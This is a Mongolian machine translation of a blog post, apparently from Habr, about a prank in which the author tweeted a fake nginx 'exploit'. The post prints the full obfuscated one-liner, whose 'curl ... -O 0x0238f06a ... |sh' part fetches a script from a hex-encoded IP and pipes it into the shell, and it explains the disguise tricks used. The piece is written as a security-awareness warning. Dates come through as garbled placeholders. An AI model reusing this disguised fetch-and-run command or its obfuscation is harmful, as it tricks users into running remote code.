Хуурамч nginx мөлжлөгийн нийгмийн туршилтын амжилт

Анхаарна уу. орчуулга.: зохиогч 1-р сарын XNUMX-нд хэвлэгдсэн анхны тэмдэглэл нь мэдээллийн аюулгүй байдлыг сонирхож буй хүмүүсийн дунд туршилт хийхээр шийджээ. Ингэхийн тулд тэрээр вэб серверт илрээгүй сул тал дээр хуурамч мөлжлөг бэлтгэж, твиттертээ нийтэлсэн байна. Түүний таамаглалууд - код дээрх илэрхий хууран мэхлэлтийг олж харах мэргэжилтнүүд шууд илчлэгдэх нь зөвхөн биелсэнгүй ... Тэд бүх хүлээлтийг давж, эсрэгээр: жиргээ олон хүнээс асар их дэмжлэг авсан. агуулгыг нь шалгана уу.

Хуурамч nginx мөлжлөгийн нийгмийн туршилтын амжилт

TL; DR: Ямар ч тохиолдолд sh эсвэл bash-д файл дамжуулахыг бүү ашиглаарай. Энэ бол таны компьютерийн хяналтыг алдах гайхалтай арга юм.

Би та бүхэнтэй 31-р сарын XNUMX-нд бүтээгдсэн комик PoC-ийн ашиглалтын тухай богино түүхийг хуваалцахыг хүсч байна. Тэрээр ирсэн мэдээний хариуд тэр даруй гарч ирэв Алиса Эсаж Шевченко, гишүүн Тэг өдрийн санаачилга (ZDI), RCE (алсын зайнаас код гүйцэтгэх) хүргэдэг NGINX-ийн эмзэг байдлын талаарх мэдээлэл удахгүй илчлэгдэх болно. NGINX нь олон вэбсайтыг хүчирхэгжүүлдэг тул мэдээ нь тэсрэх бөмбөг байсан байх. Гэхдээ "хариуцлагатай илчлэх" үйл явц удаашралтай байсан тул юу болсон талаар дэлгэрэнгүй мэдээлэлгүй байсан - энэ бол стандарт ZDI процедур юм.

Хуурамч nginx мөлжлөгийн нийгмийн туршилтын амжилт
Жиргээ NGINX дэх эмзэг байдлын ил тод байдлын тухай

Curl-ийн шинэ бүдүүлэг техник дээр ажиллаж дуусаад би анхны жиргээнээс иш татаж, илрүүлсэн эмзэг байдлыг ашигласан гэж үздэг нэг мөр кодоос бүрдэх "ажиллаж буй PoC-г задруулсан". Мэдээжийн хэрэг, энэ нь бүрэн утгагүй зүйл байсан. Би шууд л илчлэгдэж, сайндаа л хэд хэдэн удаа retweet авах болно гэж бодсон (за яахав).

Хуурамч nginx мөлжлөгийн нийгмийн туршилтын амжилт
Жиргээ хуурамч мөлжлөгтэй

Гэсэн хэдий ч би дараа нь юу болсныг төсөөлж ч чадсангүй. Миний жиргээний нэр хүнд огцом өссөн. Гайхалтай нь одоогоор (Москвагийн цагаар 15-р сарын 00-ний 1:XNUMX цагт) энэ нь хуурамч гэдгийг цөөн хүн ойлгосон байна. Олон хүмүүс үүнийг огт шалгахгүйгээр дахин жиргэдэг (түүний гаргаж буй гайхалтай ASCII графикийг биширдэг).

Хуурамч nginx мөлжлөгийн нийгмийн туршилтын амжилт
Энэ нь ямар үзэсгэлэнтэй болохыг хар л даа!

Эдгээр бүх гогцоо, өнгө нь гайхалтай боловч хүмүүс үүнийг харахын тулд машин дээрээ код ажиллуулах шаардлагатай байсан нь ойлгомжтой. Аз болоход хөтчүүд адилхан ажилладаг бөгөөд би хууль эрх зүйн асуудалд орохыг үнэхээр хүсээгүйгээс гадна миний сайтад булагдсан код нь ямар нэгэн нэмэлт код суулгах, ажиллуулах оролдлогогүйгээр зүгээр л цуурай дуудлагыг хийж байсан.

Жижиг хазайлт: netspooky, dnz, би болон багийн бусад залуус Thugcrowd Хэсэг хугацааны турш бид curl командуудыг бүдгэрүүлэхийн тулд янз бүрийн аргаар тоглож байна, яагаад гэвэл энэ нь дажгүй ... мөн бид геэкс. netspooky болон dnz нар надад маш ирээдүйтэй мэт санагдсан хэд хэдэн шинэ аргыг нээсэн. Би хөгжилтэй нэгдэж, заль мэхний уутанд IP аравтын хувиргалтыг нэмэхийг оролдсон. Үүнээс харахад IP-г мөн арван зургаат тоот формат руу хөрвүүлж болно. Түүнээс гадна curl болон бусад NIX хэрэгслүүд нь арван зургаатын тоот IP-г баяртайгаар иддэг! Тиймээс энэ нь итгэл үнэмшилтэй, найдвартай харагдах тушаалын мөрийг бий болгох явдал байв. Эцэст нь би үүнийг шийдсэн:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Нийгэм-цахим инженерчлэл (SEE) - зүгээр л фишинг хийхээс илүү

Аюулгүй байдал, танил тал нь энэ туршилтын гол хэсэг байсан. Тэд түүнийг амжилтанд хүргэсэн гэж би боддог. Тушаалын мөр нь "127.0.0.1" (алдартай localhost)-ыг иш татсанаар аюулгүй байдлыг тодорхой илэрхийлсэн. Localhost нь аюулгүй гэж тооцогддог бөгөөд түүн дээрх өгөгдөл таны компьютерээс хэзээ ч гарахгүй.

Туршилтын хоёр дахь гол SEE бүрэлдэхүүн хэсэг нь танил байсан. Зорилтот үзэгчид нь үндсэндээ компьютерийн аюулгүй байдлын үндсийг мэддэг хүмүүсээс бүрддэг тул зарим хэсэг нь танил, танил (тиймээс аюулгүй) мэт санагдахын тулд код үүсгэх нь чухал байв. Хуучин мөлжлөгийн үзэл баримтлалын элементүүдийг зээлж, тэдгээрийг ер бусын байдлаар нэгтгэх нь маш амжилттай болох нь батлагдсан.

Доорх нь нэг давхаргын нарийвчилсан дүн шинжилгээ юм. Энэ жагсаалтад байгаа бүх зүйл өмсдөг гоо сайхны шинж чанар, мөн түүний бодит үйл ажиллагаанд бараг юу ч шаардлагагүй.

Ямар бүрэлдэхүүн хэсгүүд үнэхээр шаардлагатай вэ? Энэ -gsS, -O 0x0238f06a, |sh вэб сервер өөрөө. Вэб сервер нь ямар ч хор хөнөөлтэй заавар агуулаагүй бөгөөд зүгээр л тушаалуудыг ашиглан ASCII графикт үйлчилдэг echo агуулагдсан скриптэд index.html. Хэрэглэгч нь мөр оруулах үед |sh дунд нь, index.html ачаалж гүйцэтгэсэн. Аз болоход вэб серверийн асран хамгаалагчид ямар ч муу санаа байгаагүй.

  • ../../../%00 — лавлахаас цааш гарахыг илэрхийлнэ;
  • ngx_stream_module.so - санамсаргүй NGINX модулийн зам;
  • /bin/sh%00<'protocol:TCP' - Бид хөөргөх гэж байна /bin/sh зорилтот машин дээр гаралтыг TCP суваг руу дахин чиглүүлэх;
  • -O 0x0238f06a#PLToffset - нууц найрлага, нэмэлт #PLToffset, PLT-д ямар нэгэн байдлаар агуулагдах санах ойн офсет шиг харагдах;
  • |sh; - өөр нэг чухал хэсэг. Довтолгоонд байгаа довтолж буй вэб серверээс ирж буй кодыг ажиллуулахын тулд бид гаралтыг sh/bash руу шилжүүлэх шаардлагатай болсон. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat-д хамаарах дамми /dev/tcp/localhostИнгэснээр бүх зүйл дахин аюулгүй харагдаж байна. Үнэн хэрэгтээ энэ нь юу ч хийдэггүй бөгөөд гоо сайхны шугамд багтдаг.

Үүгээр нэг мөрт скриптийн кодыг тайлж, "нийгэм-цахим инженерчлэл" (нарийн төвөгтэй фишинг) -ийн асуудлуудын талаар ярилцаж байна.

Вэб серверийн тохиргоо ба эсрэг арга хэмжээ

Миний захиалагчдын дийлэнх нь infosec/хакерууд байдаг тул би залууст хийх зүйлтэй байхын тулд вэб серверийг тэдний зүгээс "сонирхлын" илэрхийлэлд бага зэрэг тэсвэртэй болгохоор шийдсэн (мөн энэ нь хөгжилтэй байх болно. тохируулах). Туршилт үргэлжилж байгаа тул би энд бүх бэрхшээлийг жагсаахгүй байна, гэхдээ серверийн хийдэг хэд хэдэн зүйл байна:

  • Тодорхой нийгмийн сүлжээн дэх түгээх оролдлогыг идэвхтэй хянаж, хэрэглэгчийг холбоос дээр дарахад урамшуулахын тулд янз бүрийн урьдчилан харах өнгөц зургийг орлуулдаг.
  • Бүрхүүлийн скриптийг харуулахын оронд Chrome/Mozilla/Safari/etc-ийг Thugcrowd сурталчилгааны видео руу дахин чиглүүлдэг.
  • Халдлага/илэрхий хакердсаны ИЛТ шинж тэмдгийг ажиглаж, дараа нь NSA серверүүд рүү хүсэлтийг дахин чиглүүлж эхэлдэг (га!).
  • Хэрэглэгчид нь ердийн хөтчөөс хост руу зочилдог бүх компьютер дээр троян, мөн BIOS rootkit суулгадаг (зүгээр л тоглож байна!).

Хуурамч nginx мөлжлөгийн нийгмийн туршилтын амжилт
Антимеруудын багахан хэсэг

Энэ тохиолдолд миний цорын ганц зорилго бол Apache-ийн зарим шинж чанаруудыг, ялангуяа хүсэлтийг дахин чиглүүлэх гайхалтай дүрмийг эзэмших явдал байсан бөгөөд би яагаад болохгүй гэж?

NGINX Exploit (Бодит!)

Захиалах @alisaesage Twitter дээр ZDI-ийн NGINX-ийн бодит эмзэг байдлыг арилгах, боломжуудыг ашиглах агуу ажлыг дагаарай. Тэдний ажил үргэлж миний сэтгэлийг татсаар ирсэн бөгөөд миний тэнэг жиргээнээс үүдсэн бүх мэдэгдэл, мэдэгдэлд тэвчээртэй хандсан Алисдаа талархаж байна. Аз болоход энэ нь бас сайн зүйл хийсэн: энэ нь NGINX-ийн эмзэг байдал, мөн curl-ийг буруугаар ашигласнаас үүдэлтэй асуудлуудын талаарх мэдлэгийг дээшлүүлэхэд тусалсан.

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх